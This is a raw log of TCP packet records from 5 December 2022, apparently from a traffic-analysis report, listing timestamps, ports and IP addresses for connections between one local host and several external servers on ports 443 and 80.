Dec 5, 2022 15:13:35.128761053 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.128797054 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.129123926 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.129187107 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.129390001 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.129511118 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.129842043 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.130009890 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.130028009 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.130054951 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.130224943 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.130373001 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.130503893 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.130723000 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.130764961 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.130923986 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.130955935 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.131145000 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.131206036 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.131413937 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.131448984 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.131608009 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.131644011 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.131793022 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.132008076 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.132152081 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.132184029 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.132405996 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.132446051 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.132558107 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.132633924 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.132782936 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.132843971 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.133016109 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.133045912 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.133187056 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.133210897 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.133375883 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.133414030 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.133646965 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.133681059 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.133825064 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.133856058 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.134015083 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.134044886 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.134274960 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.134288073 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.134318113 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.134412050 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.134601116 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.134635925 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.134783983 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.134815931 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.134968042 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.134998083 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.135202885 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.135232925 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.135340929 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.135370016 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.135555029 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.135588884 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.135814905 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.135879040 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.135915041 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.135967970 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.136061907 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.136090040 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.136280060 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.136336088 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.136509895 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.136560917 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.136707067 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.136737108 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.136887074 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.136923075 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.137065887 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.137161016 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.137311935 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.137399912 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.137546062 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.137628078 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.137932062 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.137974977 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.138293982 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.138328075 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.138592958 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.138761044 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.138834000 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.138873100 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.139163017 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.139194965 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.139378071 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.139415979 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.139441013 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.139578104 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.139642000 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.139848948 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.139898062 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.140044928 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.140103102 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.140273094 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.140328884 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.140541077 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.140583992 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.140726089 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.140743017 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.140952110 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.140971899 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141093969 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141113997 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141134024 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141264915 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141284943 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141303062 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141412020 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141412973 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141439915 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141599894 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141621113 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141756058 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141765118 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141782045 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.141922951 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.141942024 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142057896 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142086983 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.142107964 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142247915 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.142272949 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142463923 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.142486095 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142616987 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142663002 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.142683983 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.142760992 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.142851114 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.142869949 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143007040 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143109083 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143121958 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.143140078 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143265963 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.143316984 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.143335104 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143522978 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143568039 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143599987 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.143623114 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143706083 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.143805027 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.143825054 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.143994093 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144012928 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144155979 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144175053 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144280910 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144320011 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144344091 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144426107 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144506931 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144530058 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144690990 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144700050 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144722939 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.144823074 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144823074 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.144872904 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145020008 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.145040989 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145181894 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.145205021 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145361900 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.145380020 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145536900 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.145551920 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145637035 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145776033 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145792007 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.145802975 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.145840883 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.145948887 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146042109 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146059036 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146106958 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146192074 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146260023 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146332026 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146342039 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146353006 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146439075 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146486998 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146507025 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146630049 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146637917 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146647930 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146847010 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.146855116 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.146950960 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147032022 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147074938 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147193909 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.147193909 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.147211075 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147386074 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147486925 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147557974 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.147578955 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147605896 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.147660971 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:13:35.147747040 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.147820950 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.147820950 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.454756021 CET	49823	443	192.168.11.20	142.250.184.225
Dec 5, 2022 15:13:35.454771996 CET	443	49823	142.250.184.225	192.168.11.20
Dec 5, 2022 15:14:45.269778013 CET	49835	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:14:45.405739069 CET	80	49835	198.58.118.167	192.168.11.20
Dec 5, 2022 15:14:45.405956030 CET	49835	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:14:45.406071901 CET	49835	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:14:45.542540073 CET	80	49835	198.58.118.167	192.168.11.20
Dec 5, 2022 15:14:45.542573929 CET	80	49835	198.58.118.167	192.168.11.20
Dec 5, 2022 15:14:45.542947054 CET	49835	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:14:45.543109894 CET	49835	80	192.168.11.20	198.58.118.167
Dec 5, 2022 15:14:45.678862095 CET	80	49835	198.58.118.167	192.168.11.20
Dec 5, 2022 15:15:00.694658995 CET	49837	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:00.752454996 CET	80	49837	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:00.752674103 CET	49837	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:00.752768040 CET	49837	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:00.810906887 CET	80	49837	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:00.844695091 CET	80	49837	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:00.844836950 CET	80	49837	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:00.845160961 CET	49837	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:01.764205933 CET	49837	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:02.779553890 CET	49838	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:02.834084034 CET	80	49838	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:02.834445953 CET	49838	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:02.834558010 CET	49838	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:02.889003992 CET	80	49838	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:02.921298027 CET	80	49838	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:02.921377897 CET	80	49838	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:02.921628952 CET	49838	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:03.841695070 CET	49838	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.857480049 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.916297913 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.916645050 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.917323112 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.976111889 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.976361990 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.976377964 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.976583004 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.976736069 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.976922989 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.977019072 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.977214098 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.977248907 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.977452040 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.977581024 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.977647066 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.977924109 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.978367090 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.978442907 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.978534937 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.978607893 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.978668928 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:04.978740931 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.978910923 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:04.979038000 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:05.035202026 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.035304070 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.035377026 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.035442114 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.035487890 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:05.035506964 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.035635948 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:05.035693884 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.035706043 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:05.035918951 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:05.035948038 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.036422968 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.037075996 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.037204027 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.037797928 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.081753016 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.094446898 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.094544888 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.094825983 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.094918966 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.134186983 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.134294987 CET	80	49839	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:05.134679079 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:05.919473886 CET	49839	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:06.935040951 CET	49840	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:06.993151903 CET	80	49840	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:06.993374109 CET	49840	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:06.993468046 CET	49840	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:07.051781893 CET	80	49840	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:07.532665014 CET	80	49840	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:07.532742977 CET	80	49840	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:07.533149004 CET	49840	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:07.533149958 CET	49840	80	192.168.11.20	45.130.41.24
Dec 5, 2022 15:15:07.591408968 CET	80	49840	45.130.41.24	192.168.11.20
Dec 5, 2022 15:15:12.993772984 CET	49842	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:13.279855967 CET	80	49842	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:13.280097008 CET	49842	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:13.280183077 CET	49842	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:13.564738035 CET	80	49842	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:13.616744995 CET	80	49842	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:13.616812944 CET	80	49842	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:13.617117882 CET	49842	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:13.864640951 CET	80	49842	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:13.864820004 CET	49842	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:13.960791111 CET	80	49842	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:14.292484999 CET	49842	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:15.308098078 CET	49843	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:15.589301109 CET	80	49843	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:15.589514017 CET	49843	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:15.589611053 CET	49843	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:15.870250940 CET	80	49843	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:15.922270060 CET	80	49843	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:15.922360897 CET	80	49843	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:15.922590017 CET	49843	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:16.168462038 CET	80	49843	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:16.168664932 CET	49843	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:16.232426882 CET	80	49843	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:16.604473114 CET	49843	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:17.620305061 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:17.902420044 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:17.902823925 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:17.903486013 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.185236931 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185276985 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185303926 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185328960 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185353994 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185379028 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185403109 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185429096 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185452938 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185478926 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.185480118 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.185561895 CET	49844	80	192.168.11.20	154.204.24.45
